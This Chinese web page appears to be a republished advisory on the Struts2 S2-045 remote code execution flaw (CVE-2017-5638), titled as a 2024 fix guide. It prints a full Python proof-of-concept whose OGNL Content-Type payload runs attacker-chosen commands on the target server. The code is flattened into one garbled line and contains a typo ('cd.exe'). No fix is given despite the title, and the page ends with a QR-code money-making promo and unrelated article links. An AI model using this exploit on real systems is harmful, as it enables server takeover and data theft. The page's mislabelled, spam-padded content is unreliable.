2024年struts2如何漏洞修复？（Struts2存在远程代码执行的严重漏洞）

近日，安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架――Struts2存在远程代码执行的严重漏洞。

目前Struts2官方已经确认漏洞（漏洞编号S2-045，CVE编号：cve-2017-5638），并定级为高风险。

由于该漏洞影响范围极广（Struts 2.3.5 ? Struts 2.3.31, Struts 2.5 ? Struts 2.5.10），漏洞危害程度极为严重，可直接获取应用系统所在服务器的控制权限。

该漏洞影响范围极广，影响国内外绝大多数使用Struts2开发框架的站点。建议提前做好该严重漏洞的应急准备工作。

受影响的软件版本：Struts 2.3.5 ? Struts 2.3.31, Struts 2.5 ? Struts 2.5.10，该漏洞危害程度极高，黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令，将会对受影响站点造成严重影响，引发数据泄露、网页篡改、后门植入、沦为肉鸡等安全事件。

图为利用漏洞成功执行ifconfig命令

有关该漏洞详情如下：漏洞编号：

CVE-2017-5638

漏洞名称：

基于 Jakarta plugin插件的Struts远程代码执行漏洞

官方评级：

高危

漏洞描述：

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。目前针对此漏洞的EXP已经开始在网络流传，为了广大用户的资产安全，请大家尽快进行漏洞检测及修复。

漏洞利用条件和方式：

黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。

漏洞POC

#! /usr/bin/env python# encoding:utf-8import urllib2import sysfrom poster.encode import multipart_encodefrom poster.streaminghttp import register_openersdef poc():register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"try:request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)response = urllib2.urlopen(request)print response.read()except Exception,e:print e poc()
					 		
					 
微信扫码上方二维码，可领取2025年最新互联网创业项目！
			
					 
项目收款截图
								
								
								
								
								
								
								
					            	
					 

	                      
推荐阅读：
                                    
2024年最火的小本生意有哪些（一年四季不愁销路的生意）
2024年注册shopee要多少钱？需要哪些其他费用？
2024年自媒体发视频怎么赚钱？赚钱方式有哪些？
2024年中消协点名，特斯拉登上年度维权第一
2024年最火的儿童生意（吸引小孩子的生意项目）
2024年做tiktok需要投资多少钱？有哪些费用？
2024年做啥生意投资小利润大（2024年做啥生意投资小利润大）
2024年中国将推动跨境电商等新业态新模式加快发展，培育外贸新动能
2024年做淘宝店需要投入多少钱（做淘宝店需要具备什么）
2024年做跨境电商需要哪些条件？要做好哪几方面？
2024年种植1亩羊肚菌成本（羊肚菌一亩的成本多少）
2024年中国半导体进口，两年来首次下跌
2024年做亚马逊要设置包邮吗？亚马逊自发货包装要求
2024年做电商如何自己出单号（自发货打单全流程）
2024年做跨境电商不会英语怎么办？新手如何运营？